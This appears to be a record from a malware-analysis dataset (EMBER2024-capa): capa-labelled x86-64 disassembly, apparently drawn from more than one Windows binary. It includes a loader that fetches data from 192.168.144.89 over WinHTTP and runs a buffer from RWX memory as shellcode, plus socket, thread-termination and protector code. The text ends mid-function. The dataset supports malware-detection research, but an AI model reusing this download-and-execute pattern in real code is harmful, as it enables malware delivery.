joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbx
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xa0]
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x44], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x1400011ff
lea r8d, [r12 + 0x50]
mov qword [rsp + 0x80], rbp
xor r9d, r9d
lea rdx, str.192.168.144.89
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
test rax, rax
je 0x1400011c0
mov dword [rsp + 0x30], pe_nt_image_headers64
lea r8, str._api_stats.json
mov qword [rsp + 0x28], r12
lea rdx, [0x1400032b0]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov qword [rsp + 0x88], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x1400011af
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400011a6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400011a6
test r14, r14
je 0x1400011a6
mov qword [rsp + 0x90], r13
lea r13, [r12 - 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov rcx, rsi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000119b
test rdi, rdi
jne 0x140001154
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
jmp 0x14000116a
mov edx, dword [rsp + 0x40]
mov rcx, rdi
add edx, ebx
add edx, 1
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000119b
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov edx, ebx
mov rcx, rsi
add rdx, rax
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000119b
add ebx, dword [rsp + 0x44]
cmp dword [rsp + 0x40], r12d
ja 0x140001120
jmp 0x14000119e
mov ebx, r12d
mov r13, qword [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rbp, qword [rsp + 0x80]
test ebx, ebx
jne 0x1400011ff
test rdi, rdi
je 0x1400011ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012d0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rbx
ret
test r14, r14
je 0x1400011e3
mov eax, ebx
test rdi, rdi
je 0x1400011e5
mov qword [r14], rdi
jmp 0x1400011e5
Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x40], 0
nop dword [rax + rax]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call section..text
test eax, eax
je 0x140001230
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x140001230
mov r9d, 0x40
mov edx, eax
mov r8d, 0x3000
mov edi, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001280
lea eax, [rsi - 1]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call rsi
mov rbx, qword [rsp + 0x48]
xor eax, eax
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140001b98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001be2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001be2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001be2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001be2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001be2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001be4
xor al, al
add rsp, 0x28
ret
Function at 0x140003730
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x1400037d0
jmp 0x1400037bf
jae 0x140003890
cmp r8, 0x201
jae 0x1400037d0
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140003828
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x1400037ff
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140019440
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140003851
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400038f8
mov r8d, r14d
cmp r15, r8
jne 0x1400037b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140003925
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400037bf
jmp 0x1400037d0
cmp rsi, r8
jb 0x14000393f
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.1400056f0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x1400038e1
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.1400010d0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x1400038c9
jmp 0x1400038e1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rs
mov edx, 0x28
call fcn.140019dc0
jmp 0x140003954
lea rax, str.library_std_src_syspalwindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14001a210
ud2
Function at 0x140009bd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14001ce00]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140009c14
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140009c7a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140009cb1
test eax, eax
js 0x140009c8b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140009ca4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140005430
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140001b10
mov ecx, 7
int 0x29
ud2
Function at 0x140017800
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001787a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140017870
cmp r11, r10
ja 0x140017905
cmp r10, rdx
ja 0x140017917
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140017872
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140017850
jmp 0x1400178e7
ja 0x14001787a
mov r11, r10
cmp rax, r8
jne 0x140017822
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400178eb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400178c0
mov r8, r10
sub ecx, r9d
jns 0x1400178de
jmp 0x1400178ed
cmp r10, rdx
je 0x1400178f9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x1400178ed
xor al, 1
cmp r8, rdx
jne 0x1400178a0
jmp 0x1400178ed
xor eax, eax
jmp 0x1400178ed
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140019c60
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001a290
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001a210
int3

Function at 0x140018e10
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140018e5a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140018e5a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140018e5a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140018e5a
cmp dword [rcx + 0x84], 0xe
jbe 0x140018e5a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140018e5c
xor al, al
add rsp, 0x28
ret
Function at 0x140004850
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140009930
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.1400052e0
nop
lea rax, [0x140003c80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.14000a9a0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400048fd
lea rcx, [rsp + 0x40]
call fcn.14000be30
jmp 0x140004914
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140007790
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x58
ret

Function at 0x140004930
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140009950
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140005360
nop
lea rax, [0x140003d20]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.14000a9b0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400049f4
lea rcx, [rsp + 0x40]
call fcn.14000be60
jmp 0x140004a0b
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.1400077e0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x58
ret
Function at 0x140004a30
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140009970
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140005400
nop
lea rax, [0x140003df0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.14000a9c0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140004add
lea rcx, [rsp + 0x40]
call fcn.14000be90
jmp 0x140004af4
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140007830
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x58
ret
Function at 0x14000aad0
Capabilities:
Terminate process

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x118
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x100], rax
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_157]
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x90]
call fcn.140005230
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call fcn.140007e60
nop
lea rcx, [rsp + 0x90]
call fcn.140007610
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov rcx, rax
call fcn.14000a980
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x120]
add rax, 0x30
lea r8, [rsp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140005090
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140007da0
nop
lea rcx, [rsp + 0xa0]
call fcn.1400075d0
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov rcx, rax
call fcn.14000a980
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov rcx, rax
call fcn.14000a960
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xb0]
call fcn.140005160
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140007e00
nop
lea rcx, [rsp + 0xb0]
call fcn.1400075f0
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov r8, rax
lea rdx, [0x14000d4b0]
lea rcx, [rsp + 0xf0]
call fcn.140002370
nop
lea rcx, [rsp + 0xf0]
call fcn.14000a570
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov r8, rax
lea rdx, [0x140009f20]
lea rcx, [rsp + 0xe0]
call fcn.140002210
nop
lea rcx, [rsp + 0xe0]
call fcn.14000a570
mov rax, qword [rsp + 0x120]
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x128]
mov r8, rax
lea rdx, [0x14000aa40]
lea rcx, [rsp + 0xd0]
call fcn.1400022c0
nop
lea rcx, [rsp + 0xd0]
call fcn.14000aec0
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov rcx, rax
call fcn.140002c90
mov rcx, rax
call fcn.14000c230
movzx eax, al
test eax, eax
je 0x14000ad71
lea rcx, [rsp + 0xc0]
call fcn.14000ba60
mov dword [rsp + 0x30], 5
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x34]
call fcn.140002610
mov r8, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xc8]
call fcn.140002d90
lea rcx, [rsp + 0x88]
call fcn.14000ba60
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.140002e50
movzx eax, al
test eax, eax
je 0x14000ad66
jmp 0x14000ad40
mov ecx, 0xff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_557]
nop
lea rcx, [rsp + 0xd0]
call fcn.140007cb0
nop
lea rcx, [rsp + 0xe0]
call fcn.140007cb0
nop
lea rcx, [rsp + 0xf0]
call fcn.140007cb0
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x118
ret
Function at 0x14000afe0
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
mov r9d, 0xffffffff
xor r8d, r8d
lea rdx, [rsp + 0x20]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000cf60
movzx eax, al
test eax, eax
je 0x14000b05b
xor edx, edx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x14000b088
xor r8d, r8d
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 8]
lea rcx, [0x140009a80]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov edx, 0xffffffff
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x48
ret

Function at 0x14000c0a0
Capabilities:
Initialize winsock library

Disassembly:
mov byte [rsp + 0x18], r8b
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x1e8
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1f0]
mov ecx, 1
lock xadd dword [rax], ecx
inc ecx
mov eax, ecx
cmp eax, 1
jne 0x14000c12d
movzx eax, byte [rsp + reloc.SecureEngineSDK64.dll_Ordinal_504]
and rax, 0xff
movzx eax, al
movzx ecx, byte [rsp + 0x200]
and rcx, 0xff
movzx ecx, cl
shl ecx, 8
or eax, ecx
lea rdx, [rsp + 0x30]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x1f0]
add rax, 4
mov ecx, dword [rsp + 0x20]
xchg dword [rax], ecx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x1e8
ret
Function at 0x140032dc0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140092d00
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.14004a6b0
nop
lea rax, [0x14002d480]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.1400aae00
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140032e84
lea rcx, [rsp + 0x40]
call fcn.1400c8b80
jmp 0x140032e9b
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.14006b490
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x58
ret

Function at 0x14003bcb0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
add rsp, 0x28
ret

Function at 0x14003bd60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0x24], eax
lea r8, [rsp + 0x24]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_getsockname]
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0x38
ret

Function at 0x14003be50
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x58]
mov edx, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x14009cba0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], r9
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x44], 0
cmp qword [rsp + 0xb0], 0xffffffffffffffff
je 0x14009cd65
movzx eax, byte [rsp + 0xc0]
test eax, eax
je 0x14009cc5e
mov rax, qword [rsp + 0xb8]
movzx eax, byte [rax]
and eax, 8
test eax, eax
je 0x14009cc5e
xor eax, eax
mov word [rsp + 0x78], ax
xor eax, eax
mov word [rsp + 0x7a], ax
lea rcx, [rsp + 0x80]
call fcn.140006b00
lea rax, [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 4
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x80
mov r8d, 0xffff
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xb0]
call fcn.1400d1570
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x14009cc7e
mov byte [rsp + 0x40], 1
jmp 0x14009cc83
mov byte [rsp + 0x40], 0
movzx edx, byte [rsp + 0x40]
mov rcx, qword [rsp + 0xc8]
call fcn.1400abf10
cmp dword [rsp + 0x44], 0
je 0x14009cd65
xor r8d, r8d
mov edx, 0x2733
lea rcx, [rsp + 0x48]
call fcn.1400164d0
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.14006fce0
movzx eax, al
test eax, eax
jne 0x14009ccf6
xor r8d, r8d
mov edx, 0x4d5
lea rcx, [rsp + 0x60]
call fcn.1400164d0
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0xc8]
call fcn.14006fce0
movzx eax, al
test eax, eax
je 0x14009cd65
mov dword [rsp + 0x7c], 0
lea r8, [rsp + 0x7c]
mov edx, 0x8004667e
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rsp + 0xb8]
movzx eax, byte [rax]
and eax, 0xfffffffc
